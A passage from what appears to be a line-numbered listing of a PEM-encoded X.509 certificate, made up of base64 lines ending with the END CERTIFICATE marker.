7 | LTE3Mi0yNi0xLTgxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApLXA 8 | baMZV2V9awcD3gpNuZ31WzNLd3MUSomEbjhqA7BmyRAbYIQXcPOoKy2JmDoHZ8Ta 9 | 9AVs7Vn9fc50Tt1VAfJPAXTlXLah2FC7ucMkyyxutzfR6QOBF/96cpFwnCATOE0c 10 | WpbxbAM2vlI1AJgoEZareLKH3/GnbONF3dxOsbDEBTAtjzgmIn85/YqeNTOEO6Gn 11 | l2U0KdJFvuMLd93mPdZMVvabsH16zzKKPfixIBtNeIduti6BmDIhtNCyL07XO7Jo 12 | T3ByZSxHpJTxrJxFV45c88f2dR+2nhUb2zJDonGomgb0tFuiwvQ8E7ZfBD849PyX 13 | a0pAUw7tAzKG59I49wIDAQABo1kwVzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww 14 | CgYIKwYBBQUHAwEwHwYDVR0jBBgwFoAU3oNmS8DTygfRdPEdfIdLEz3cA8kwDwYD 15 | VR0RBAgwBocEDdLaZTANBgkqhkiG9w0BAQsFAAOCAYEAlZVOr/F7PwATlVTci/nD 16 | Wo3t33RMTZ3dajSVstWZhBPep2XaSjgFLarMX2YKqADbgrIYWZZdVtAz9Zyzuiy0 17 | 8dzNd6uR+t0Ne7CTRyGC16/y47SJYe5mBlwm2+ADBY2q/F+z1EtrzIPumfRls6rm 18 | 2f4KzX3lJKNv01KBVtGeri51ng5CRlebaH+N6fYd3iHUoDKT3fc0jM2M0pTOFzsH 19 | gTV8gjyFVDIz/r+RPOYmVOrkf4IdbNB4KFUfIFMNxaFRbz4wYakub7VSKFlY3p3A 20 | PDayOpxovMqsCDlqKSlLhTAjVdwjj8+Z1AbfWcYN3wqLagZoJiJbevmWmyocEVZu 21 | QmM8Id/gaaE7nHCBBbUtTBvOVLEVJwD6yNaMVe5dxrwOLBgEuace9xkQ2PWZcosZ 22 | +X9Y1ubBTB0TFx/NduoYLy8rJt/zef6Co2EHB7ssqrd7qJFp7ZlrqscbKV4v+5nd 23 | lC+MjyXF/TV607teEjwD4Mrd45cWEvR2yv7XIgnpNmqz 24 | -----END CERTIFICATE----- 25 | --------------------------------------------------------------------------------